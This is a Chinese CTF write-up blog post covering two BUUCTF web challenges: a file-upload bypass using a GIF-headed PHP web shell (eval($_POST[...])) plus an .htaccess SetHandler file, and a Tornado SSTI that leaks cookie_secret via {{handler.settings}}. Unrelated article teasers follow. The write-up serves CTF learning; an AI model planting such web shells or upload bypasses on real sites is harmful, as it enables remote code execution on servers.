web题目实操(6)ssti模板注入学习

ops/2024/9/23 10:17:18/

1.BUUCTF之[MRCTF2020]你传你呢-------文件解析漏洞

(1)打开环境后就看到一个很特别的文件上传的界面,以为是一题简单的文件上传漏洞,实不然后面做了才发现并非那样(2)这里本来应该是先上传php文件,但是我想着它可能会有过滤啥的,所以直接上传一个png上去,发现传成功了

这里我传的是

GIF89a? 
<script language="php">eval($_POST['zjt']);</script>

(3)抱着试试的态度用蚁剑连连看,发现出错了,意料之中

(4)看了其他人的WP才知道这题是一个文件上传里的文件解析漏洞。总结下来的经验就是更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。

.htaccess是什么

      看了其他博主写的才知道:启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

     也就是说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

所以这里还需要上传一个.htaccess文件,内容如下

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>

还需要注意,里面的a.png要和刚才上传的png文件一样

(5)这里上传.htaccess文件后直接抓包更改Content-Type成image/jepg或者image/jepg都行

(6)看到页面渲染出现成功,说明可以用一件连接了,直接成功

(3)连接成功后其中一个目录里即可找到flag

2.[护网杯 2018]easy_tornado

(1)打开后是三个可文件,并不知道它要干嘛

(2)直接不多说,挨个打开,看看里面是些啥内容

(3)依次看了,属实没看出来要如何操作,陷入深思。。。。。。

看了其他大佬的wp才知道:

参数filename和filehash可以推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。 

变量 filename 的值正常是要访问的文件,然后根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。 filename知道了,还需要cookie_secrethints      后面它又提示render

再根据题目easy_tornado可推测是服务器模板注入(ssti模板注入)

注:

ssti模板注入简单了解

(1).简介

        漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

判断该存在该注入的一种方法:

   输入的数据会被浏览器利用当前脚本语言调用解析执行

   可以将其理解为:具体举例可以是我们开发的blog想换主题,都是直接换模版,但是数据库不会换,这样一些主题是通过向数据库拿数据来确定数据,如果我们把模版数据换了就会造成注入

(2)模板是什么

​       模板可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是用脚本语言的字符串拼接html,然后统一输出。

模板基础知识

{% ... %} 用来声明变量{{ ... }} 用来将表达式打印到模板输出{# ... #} 表示未包含在模板输出中的注释在模板注入中,主要使用的是{{}} 和 {%%}检测是否存在ssti
在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有 36

(3)模板渲染方法
flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

回到正题

 因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

 tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

 尝试构造一下

/file?filename=/fllllllllllllag&filehash={{1}}

查阅后才知道:

模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入

(4)但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。

(5)当构造的payload为:error?msg={{2*2}}的时候,回显的结果是orz。因此可以猜测出,此处是出现了过滤。

(6)此时我们需要找的是cookie_secret,

 搜素得Tornado框架的附属文件handler.settings中存在cookie_secret

再次构造payload:

http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={{handler.settings}}

(7)此时的payload应该就是如下通过md5的结果:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
1


 /fllllllllllllag通过md5加密后:3bf9f6cf685a6dd8defadabfb41a03a1

 **md5(cookie_secret+md5(/fllllllllllllag))**通过md5加密后的结果:77a1d0572298d9f79da44fd36511802c

此时构造payload:

/file?filename=/fllllllllllllag&filehash=77a1d0572298d9f79da44fd36511802c

(8)这里需要按照公式进行加密

(9)/fllllllllllllag=3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+md5(filename)

cookie_secret:66ea9bc1-ba24-4e40-bce1-a8a75d43b425

(10)md5(cookie_secret+md5(filename)) 

ccbf9bdb48a05406ecbe929d8dbb6a62

构造payload:file?filename=/fllllllllllllag&filehash=ccbf9bdb48a05406ecbe929d8dbb6a62

也是成功拿到flag


http://www.ppmy.cn/ops/33779.html

相关文章

爬虫自动调用shell通过脚本运行scrapy爬虫(crawler API)

一、爬虫时如何同时调用shell 1)终端cd项目>>scrapy crawl example 2)打开example.py import scrapy from scrapy.shell import inspect_response#引入shellclass ExampleSpider(scrapy.Spider):name "example"allowed_domains ["example.com"]…

C# WinForm —— 12 ListBox绑定数据

ListBox加载大量数据时&#xff0c;避免窗体闪烁的方法&#xff1a; 在加载语句的前后分别加上 BeginUpdate()方法 和 EndUpdate()方法 指定一个集合为绑定的数据源 1. 首先&#xff0c;右键项目&#xff0c;添加类 2. 在新建的类文件中添加属性值信息 3. 构建初始化的对象…

【论文阅读】Learning Texture Transformer Network for Image Super-Resolution

Learning Texture Transformer Network for Image Super-Resolution 论文地址Abstract1. 简介2.相关工作2.1单图像超分辨率2.2 Reference-based Image Super-Resolution 3. 方法3.1. Texture TransformerLearnable Texture Extractor 可学习的纹理提取器。Relevance Embedding.…

EPAI手绘建模APP资源管理和模型编辑器2

g) 矩形 图 26模型编辑器-矩形 i. 修改矩形的中心位置。 ii. 修改矩形的长度和宽度。 h) 正多边形 图 27模型编辑器-内接正多边形 图 28模型编辑器-外切正多边形 i. 修改正多边形的中心位置。 ii. 修改正多边形中心距离端点的长度。 iii. 修改正多边形的阶数。阶数为3&…

MySql的基本操作

一、连接数据库&#xff0c;查看对象&#xff0c;数据库的维护&#xff0c;mysql的数据类型 1、连接数据库 mysql -hlocalhost -uroot -proot 2、查看对象 show databases; 查看有哪些数据库 show tables;查看有哪些表 show columns from [table_name];查看表里有哪些字段…

Springboot工程创建

目录 一、步骤 二、遇到的问题及解决方案 一、步骤 打开idea,点击文件 ->新建 ->新模块 选择Spring Initializr&#xff0c;并设置相关信息。其中组为域名&#xff0c;如果没有公司&#xff0c;可以默认com.example。点击下一步 蓝色方框部分需要去掉&#xff0c;软件包…

浅谈OpenCV 粗略计算工件轮廓面积和外接圆直径(Emgu.CV)

前言 最近领导在做库房工具管理这块的功能&#xff0c;希望能集成OpenCV 粗略的计算出工具的长度&#xff0c;以方便用户再归还工具的时候&#xff0c;提示用户该放在那种尺寸的盒子里面&#xff0c;这便是这篇文章的由来。 我们的系统是基于.net开发的&#xff0c;所以采用的是…

CSS中不固定大小的图片怎样做到在所在的块元素里垂直居中

对于不固定大小的图片&#xff0c;在块元素中实现垂直居中可以有多种方法。以下是一些常用的方法&#xff1a; 使用Flexbox&#xff08;弹性盒子&#xff09;: Flexbox 是一个非常强大的布局工具&#xff0c;可以轻松实现元素的垂直居中。你只需要将块元素设置为 flex 容器&a…